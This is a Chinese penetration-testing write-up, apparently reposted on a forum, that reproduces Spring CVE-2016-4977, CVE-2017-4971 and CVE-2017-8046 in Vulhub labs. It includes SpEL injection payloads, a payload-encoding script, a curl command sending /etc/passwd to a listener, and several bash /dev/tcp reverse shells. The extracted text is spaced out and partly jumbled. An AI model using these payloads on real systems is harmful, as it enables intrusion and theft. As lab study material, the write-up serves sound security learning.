搜索

[16922] 2021-06-18_框架安全之Spring渗透

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-06-18_框架安全之Spring渗透 框 架 安 全 之 S p r i n g 渗 透 原 创   K r 1 p t 0   F r e e B u f   2 0 2 1 - 0 6 - 1 8 本 篇 文 章 是 S p r i n g 渗 透 复 现 记 录 ， 记 录 了 实 际 中 常 见 的 S p r i n g 漏 洞 并 如 何 利 用 ， 及 简 单 对 漏 洞 底 层 的 原 理 分 析 ， 分 为 四 个 部 分 ： S p r i n g 简 介 、 I D E A 部 署 S p r i n g 、 V u l h u b 靶 场 环 境 搭 建 和 相 关 漏 洞 复 现 ， 在 学 习 S p r i n g 中 阅 读 了 十 几 篇 中 英 文 相 关 文 章 ， 由 浅 入 深 地 学 习 并 最 终 成 功 复 现 了 5 个 漏 洞 ， 参 考 的 文 章 也 在 文 中 列 出 。 此 外 ， 文 中 也 可 能 会 出 现 部 分 错 误 ， 望 读 者 指 出 ， 谢 谢 。 接 着 ， 开 始 我 们 的 S p r i n g 渗 透 之 路 学 习 ！ ！ 一 、 一 、 S p r i n g 简 介 简 介 1 、 、 S p r i n g 及 其 全 家 桶 简 介 及 其 全 家 桶 简 介 S p r i n g 框 架 是 一 个 开 放 源 代 码 的 J 2 E E 应 用 程 序 框 架 ， 是 针 对 b e a n 的 生 命 周 期 进 行 管 理 的 轻 量 级 容 器 （ l i g h t w e i g h t   c o n t a i n e r ） 。 S p r i n g 可 以 单 独 应 用 于 构 筑 应 用 程 序 ， 也 可 以 和 S t r u t s 、 W e b w o r k 、 T a p e s t r y 等 众 多 W e b 框 架 组 合 使 用 ， 并 且 可 以 与   S w i n g 等 桌 面 应 用 程 序 A P 组 合 。 S p r i n g 框 架 主 要 由 七 部 分 组 成 ， 分 别 是   S p r i n g   C o r e 、   S p r i n g   A O P 、   S p r i n g   O R M 、   S p r i n g   D A O 、 S p r i n g   C o n t e x t 、   S p r i n g   W e b 和   S p r i n g   W e b   M V C S p r i n g 全 家 桶 包 括 5 个 关 键 部 分 ， S p r i n g   f r a m e w o r k 、   S p r i n g   M V C 、 S p r i n g   B o o t 、   S p r i n g   C l o u d 、 S p r i n g   S e c u r i t y 。 其 中 S p r i n g 就 是 S p r i n g   F r a m e w o r k 的 缩 写 ， S p r i n g   M V C 是 S p r i n g 中 的 一 个 M V C 框 架 ， 用 于 开 发 W e b 应 用 和 网 络 接 口 。 S p r i n g   B o o t 内 置 T o m c a t 并 且 内 置 默 认 的 X M L 配 置 信 息 ， 更 加 便 捷 。 S p r i n g   C l o u d 基 于 S p r i n g   B o o t ， 简 化 了 分 布 式 系 统 的 开 发 。 S p r i n g   S e c u r i t y 用 于 做 鉴 权 ， 保 证 安 全 性 。 2 、 、 S p r i n g 组 件 简 介 组 件 简 介 S p r i n g   W e b   F l o w 是 S p r i n g   M V C 的 扩 展 ， 它 支 持 开 发 基 于 流 程 的 应 用 程 序 ， 可 以 将 流 程 的 定 义 和 实 现 流 程 行 为 的 类 和 视 图 分 离 开 来 。 S p r i n g   D a t a 是 一 个 用 于 简 化 数 据 库 访 问 ， 并 支 持 云 服 务 的 开 源 框 架 ， 其 主 要 目 标 是 使 数 据 库 的 访 问 变 得 方 便 快 捷 。 S p r i n g   D a t a   C o m m o n s 是 S p r i n g   D a t a 下 所 有 子 项 目 共 享 的 基 础 框 架 ， S p r i n g   D a t a 家 族 中 的 所 有 实 现 都 是 基 于 S p r i n g   D a t a   C o m m o n s 。 简 单 点 说 ， S p r i n g   D a t a   R E S T 把 我 们 需 要 编 写 的 大 量 R E S T 模 版 接 口 做 了 自 动 化 实 现 ， 并 符 合 H A L 的 规 范 。 S p r i n g   W e b s o c k e t ， S p r i n g 内 置 简 单 消 息 代 理 。 这 个 代 理 处 理 来 自 客 户 端 的 订 阅 请 求 ， 将 它 们 存 储 在 内 存 中 ， 并 将 消 息 广 播 到 具 有 匹 配 目 标 的 连 接 客 户 端 。 3 、 、 S p E L 介 绍 介 绍 简 单 理 解 ： 表 达 式 语 言 ， 执 行 命 令 、 运 算 S p E L ( S p r i n g   E x p r e s s i o n   L a n g u a g e ) 是 一 个 基 于 S p r i n g 的 表 达 式 语 言 ， 用 于 在 运 行 时 动 态 执 行 一 些 运 算 或 指 令 。 一 共 分 为 三 类 ， 分 别 是 直 接 在 注 解 中 使 用 ， 在 X M L 文 件 中 使 用 和 直 接 在 代 码 块 中 使 用 。 S p E L 原 理 表 达 式 ： 指 传 入 的 字 符 串 内 容   解 析 器 ： 用 于 将 字 符 串 内 容 解 析 为 表 达 式 内 容   上 下 文 ： 表 达 式 对 象 执 行 的 环 境   根 对 象 和 活 动 上 下 文 对 象 ： 根 对 象 是 默 认 的 活 动 上 下 文 对 象 ， 活 动 上 下 文 对 象 表 示 了 当 前 表 达 式 操 作 的 对 象 具 体 的 流 程 如 下 ：
1 . 首 先 给 定 表 达 式 2 . 然 后 给 定 解 析 器 ， 该 解 析 器 就 实 现 了 上 图 中 的 分 析 3 . 定 义 上 下 文 对 象 ， 这 个 是 可 选 的 ， 默 认 是 4 . 使 用 表 达 式 对 象 求 值 ， 例 如 4 、 、 S p r i n g 漏 洞 简 介 漏 洞 简 介 2 0 0 9 年 9 月 发 布 后 ， 就 引 入 了 。 对 于 开 发 者 而 言 ， 引 入 新 的 工 具 显 然 是 令 人 兴 奋 的 ， 但 是 对 于 运 维 人 员 ， 也 许 是 噩 耗 的 开 始 。 类 比 框 架 ， 会 发 现 绝 大 部 分 的 安 全 漏 洞 都 和 脱 不 了 干 系 。 5 、 、 S p r i n g 框 架 特 征 框 架 特 征 1 . 看 W e b 应 用 程 序 的 图 标 2 . 看 W e b 的 报 错 页 面 3 . 使 用 插 件 w a p p a l y z e r 4 . 看 响 应 头 参 数 X - A p p l i c a t i o n - C o n t e x t 二 、 本 地 环 境 安 装 二 、 本 地 环 境 安 装 1 、 、 I D E A 下 载 下 载 下 载 地 址 ： h t t p s : / / w w w . j e t b r a i n s . c o m / i d e a / d o w n l o a d / # s e c t i o n = w i n d o w s 选 择 社 区 版 即 可 （ 白 嫖 三 十 天 ， 再 重 新 下 ） 2 、 、 I D E A 安 装 安 装 1 ） 双 击 安 装 程 序 默 认 下 一 步 2 ） 一 些 选 项 如 图 勾 上 ， 默 认 一 直 下 一 步 1 + 2 S p e l E x p r e s s i o n P a r s e r S t a n d a r d E v a l u a t i o n C o n t e x t g e t V a l u e 参 考 ： h t t p : / / r u i 0 . c n / a r c h i v e s / 1 0 4 3 S p r i n g   3 . 0   R C 1 S p r i n g S p E L ( S p r i n g   E x p r e s s i o n   L a n g u a g e ) S t r u t s 2 O G N L C o m m u n i t y
3 ） 打 开 x 6 4 版 本 的 ， 选 择 免 费 3 0 天 选 择 3 、 、 I D E A 使 用 及 使 用 及 S p r i n g 部 署 部 署 1 ） 创 建 工 程 I D E A c o n t i n u e
2 ） 选 择 下 载 J D K 选 择 版 本 3 ） 配 置 见 图 ， 然 后 n e x t 1 . 8 S p r i n g   I n i t i a l i z r
4 ） 部 署 W e b 模 式 5 ） 等 待 安 装   这 部 分 有 点 小 久 6 ） 点 击 启 动   点 击 右 上 角 启 动
7 ） 部 署 成 功 访 问 地 址 ： 4 、 漏 洞 环 境 搭 建 、 漏 洞 环 境 搭 建 这 里 使 用 靶 场 进 行 S p r i n g 渗 透 学 习 0 x 0 1   D o c k e r 环 境 安 装 环 境 安 装 参 考 ： v u l h u b 漏 洞 环 境 搭 建 1 、 安 装 、 安 装 D o c k e r 2 、 安 装 、 安 装 p y t h o n 和 和 p i p l o c a l h o s t : 8 0 8 0 v u l h u b s u d o   a p t   i n s t a l l   c u r l c u r l   - s   h t t p s : / / g e t . d o c k e r . c o m /   |   s h s u d o   a p t   i n s t a l l   p y t h o n c u r l   h t t p s : / / b o o t s t r a p . p y p a . i o / p i p / 2 . 7 / g e t - p i p . p y   - - o u t p u t   g e t - p i p . p y s u d o   p y t h o n   g e t - p i p . p y
3 、 安 装 、 安 装 0 x 0 2   v u l h u b 靶 场 安 装 靶 场 安 装 本 机 I P 为 1 9 2 . 1 6 8 . 1 1 2 . 1 4 1 参 考 ： D o c k e r 容 器 进 入 的 4 种 方 式 三 、 漏 洞 复 现 三 、 漏 洞 复 现 d o c k e r - c o m p o s e p i p   i n s t a l l   d o c k e r - c o m p o s e s u d o   a p t   i n s t a l l   d o c k e r - c o m p o s e d o c k e r - c o m p o s e   - v g i t   c l o n e   h t t p s : / / g i t h u b . c o m / v u l h u b / v u l h u b . g i t c d   v u l h u b / h t t p d / C V E - 2 0 1 7 - 1 5 7 1 5 / s u d o   d o c k e r - c o m p o s e   b u i l d               #   构 建 s u d o   d o c k e r - c o m p o s e   u p   - d               #   命 令 启 动 容 器 d o c k e r   p s                                               #   查 看 正 在 运 行 的 容 器 s u d o   d o c k e r   e x e c   - i t   b 5 9 7 5 a 1 a 5 b f e   / b i n / b a s h     #   进 入 d o c k e r 容 器 内
以 复 现 操 作 为 主 ， 底 层 原 理 解 析 见 后 续 的 文 章 1 、 、 S p r i n g   S e c u r i t y   O A u t h 2   远 程 命 令 执 行 漏 洞 （ 远 程 命 令 执 行 漏 洞 （ C V E - 2 0 1 6 - 4 9 7 7 ） ） 0 x 0 1   漏 洞 概 述 漏 洞 概 述 是 为 框 架 提 供 安 全 认 证 支 持 的 一 个 模 块 。 当 用 户 使 用 来 处 理 错 误 时 ， 攻 击 者 可 以 在 被 授 权 的 情 况 下 通 过 构 造 恶 意 表 达 式 来 远 程 执 行 命 令 。 故 是 在 需 要 知 道 账 号 密 码 的 前 提 下 才 可 以 利 用 该 漏 洞 。 影 响 版 本 ： 影 响 版 本 ： 0 x 0 2   漏 洞 指 纹 漏 洞 指 纹 访 问 下 面 的 出 现 下 面 的 返 回 页 面 ， 表 示 漏 洞 存 在 0 x 0 3   漏 洞 利 用 漏 洞 利 用 1 ） 访 问 搭 建 好 的 靶 机 2 ） 写 好 P O C 这 部 分 用 于 处 理 代 码 使 用 方 法 ： 将 该 代 码 加 入 进 参 数 部 分 ， 得 到 3 ） 执 行 p a y l o a d 返 回 了 进 程 ， 表 示 代 码 执 行 了 ， 但 这 没 有 回 显 ， 是 无 回 显 无 回 显 R C E 4 ） 无 回 显 X X E 结 合 n c 得 到 回 显 内 容 测 试 下 ： S p r i n g   S e c u r i t y   O A u t h 2 S p r i n g W h i t e l a b e l   v i e w s S p E L S p r i n g   S e c u r i t y   O A u t h   2 . 0   –   2 . 0 . 9 S p r i n g   S e c u r i t y   O A u t h   1 . 0   –   1 . 0 . 5 U R L h t t p : / / 1 9 2 . 1 6 8 . 1 1 2 . 1 4 1 : 8 0 8 0 / o a u t h / a u t h o r i z e ? r e s p o n s e _ t y p e = $ { 2 3 3 * 2 3 3 } & c l i e n t _ i d = a c m e & s c o p e = o p e n i d & r e d i r e c t _ u r i = h t t p : / / t e s t # ! / u s r / b i n / e n v   p y t h o n m e s s a g e   =   i n p u t ( ' E n t e r   m e s s a g e   t o   e n c o d e : ' ) p o c   =   ' $ { T ( j a v a . l a n g . R u n t i m e ) . g e t R u n t i m e ( ) . e x e c ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( % s ) '   %   o r d ( m e s s a g e [ 0 ] ) f o r   c h   i n p y t h o n 3   p o c 1 . p y # 输 入 要 执 行 的 代 码 ， 会 返 回 处 理 后 的 代 码 这 里 输 入 w h o a m i r e s p o n s e _ t y p e p a y l o a d h t t p : / / 1 9 2 . 1 6 8 . 1 1 2 . 1 4 1 : 8 0 8 0 / o a u t h / a u t h o r i z e ? r e s p o n s e _ t y p e = $ { T ( j a v a . l a n g . R u n t i m e ) . g e t R u n t i m e ( ) . e x e c ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 1 9 ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 4 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 1 1 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 9 7 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 9 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 5 ) ) ) }
5 ） p a y l o a d 二 次 变 形 网 址 ： h t t p : / / w w w . j a c k s o n - t . c a / r u n t i m e - e x e c - p a y l o a d s . h t m l 将 下 面 的 代 码 绕 过 变 形 得 到 再 放 入 上 面 的 P O C 中 ， 得 到 修 改 后 的 开 启 监 听 ， 访 问 上 述 网 址 ， 成 功 得 到 s h e l l 2 、 、 S p r i n g   W e b   F l o w   远 程 代 码 执 行 漏 洞 （ 远 程 代 码 执 行 漏 洞 （ C V E - 2 0 1 7 - 4 9 7 1 ) 0 x 0 1   漏 洞 概 述 漏 洞 概 述 S p r i n g   W e b   F l o w 是 一 个 适 用 于 开 发 基 于 流 程 的 应 用 程 序 的 框 架 ， 主 要 用 于 解 决 跨 越 多 个 请 求 的 、 用 户 与 服 务 器 之 间 的 、 有 状 态 交 互 问 题 。 当 用 户 使 用 S p r i n g   W e b   F l o w 受 影 响 的 版 本 时 ， 如 果 配 置 了 v i e w - s t a t e ， 但 是 没 有 配 置 相 应 的 b i n d e r , 并 且 没 有 更 改 u s e S p r i n g B e a n B i n d i n g 默 认 的 f a l s e 值 ， 当 攻 击 者 构 造 特 殊 的 h t t p 请 求 时 ， 就 可 以 导 致 S p E L 表 达 式 注 入 ， 从 而 造 成 远 程 代 码 执 行 漏 洞 。 影 响 版 本 ： 影 响 版 本 ： 触 发 条 件 ： 触 发 条 件 ： 1 .   M v c V i e w F a c t o r y C r e a t o r 对 象 的 u s e S p r i n g B e a n B i n d i n g 参 数 需 要 设 置 为 f a l s e （ 默 认 值 ） 2 .   f l o w   v i e w 对 象 中 设 置 B i n d e r C o n f i g u r a t i o n 对 象 为 空 0 x 0 2   漏 洞 指 纹 漏 洞 指 纹 K a l i   L i n u x ： n c   - v l p   7 7 6 6 靶 机 上 ： c u r l   1 9 2 . 1 6 8 . 1 1 2 . 1 4 9 : 7 7 6 6   - d   " $ ( c a t   / e t c / p a s s w d ) " e x e c ( ) b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 1 1 2 . 1 4 9 / 7 7 6 6   0 > & 1 b a s h   - c   { e c h o , Y m F z a C A t a S A + J i A v Z G V 2 L 3 R j c C 8 x O T I u M T Y 4 L j E x M i 4 x N D k v N z c 2 N i A w P i Y x } | { b a s e 6 4 , - d } | { b a s h , - i } $ { T ( j a v a . l a n g . R u n t i m e ) . g e t R u n t i m e ( ) . e x e c ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 9 8 ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 9 7 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 1 5 ) ) . c o n c a t ( T U R L h t t p : / / 1 9 2 . 1 6 8 . 1 1 2 . 1 4 1 : 8 0 8 0 / o a u t h / a u t h o r i z e ? r e s p o n s e _ t y p e = $ { T ( j a v a . l a n g . R u n t i m e ) . g e t R u n t i m e ( ) . e x e c ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 9 8 ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 9 7 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 1 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 4 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 3 2 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 4 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 9 9 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 3 2 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 2 3 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 1 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 9 9 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 4 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 1 1 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 4 4 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 8 9 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 9 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 7 0 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 2 2 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 9 7 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 6 7 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 6 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 1 6 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 9 7 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 8 3 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 6 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 4 3 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 7 4 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 6 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 1 8 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 9 0 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 7 1 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 8 6 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 5 0 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 7 6 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 5 1 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 8 2 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 6 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 9 9 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 6 7 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 5 6 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 2 0 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 7 9 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 8 4 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 7 3 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 1 7 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 7 7 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 8 4 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 8 9 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 5 2 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 7 6 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 6 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 6 9 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 2 0 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 7 7 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 5 2 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 2 0 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 7 8 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 6 8 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 7 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 1 8 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 7 8 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 2 2 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 9 9 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 5 0 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 7 8 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 6 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 1 9 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 8 0 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 8 9 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 2 0 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 2 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 2 4 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 2 3 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 9 8 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 9 7 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 1 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 1 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 5 4 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 5 2 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 4 4 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 4 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 0 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 2 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 2 4 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 2 3 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 9 8 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 9 7 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 1 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 4 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 4 4 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 4 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 2 5 ) ) ) } S p r i n g   W e b   F l o w   2 . 4 . 0   ~   2 . 4 . 4
0 x 0 3   漏 洞 利 用 漏 洞 利 用 1 ） 进 入 到 付 款 界 面 ， 抓 包 2 ） 修 改 包 数 据 ， 发 送 0 x 0 4   漏 洞 分 析 漏 洞 分 析 3 、 、 S p r i n g   D a t a   R e s t   远 程 命 令 执 行 漏 洞 （ 远 程 命 令 执 行 漏 洞 （ C V E - 2 0 1 7 - 8 0 4 6 ） ） 0 x 0 1   漏 洞 概 述 漏 洞 概 述 S p r i n g   D a t a   R e s t 服 务 器 在 处 理 P A T C H 请 求 时 存 在 一 个 远 程 代 码 执 行 漏 洞 。 攻 击 者 通 过 构 造 好 的 J S O N 数 据 来 执 行 任 意 J a v a 代 码 。 影 响 版 本 ： 影 响 版 本 ： 0 x 0 2   漏 洞 指 纹 漏 洞 指 纹 访 问 ， 有 如 下 回 显 信 息 则 代 表 有 该 漏 洞 & _ ( n e w   j a v a . l a n g . P r o c e s s B u i l d e r ( " b a s h " , " - c " , " b a s h + - i + > % 2 6 + / d e v / t c p / 1 9 2 . 1 6 8 . 1 1 2 . 1 4 9 / 7 5 7 5   0 > % 2 6 1 " ) ) . s t a r t ( ) = v u l h u b h t t p s : / / p a p e r . s e e b u g . o r g / 3 2 2 S p r i n g   D a t a   R E S T   v e r s i o n s   <   2 . 5 . 1 2 ,   2 . 6 . 7 ,   3 . 0   R C 3 S p r i n g   B o o t   v e r s i o n   <   2 . 0 . 0 M 4 S p r i n g   D a t a   r e l e a s e   t r a i n s   <   K a y - R C 3 h t t p : / / 1 9 2 . 1 6 8 . 1 1 2 . 1 4 1 : 8 0 8 0 / c u s t o m e r s / 1
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理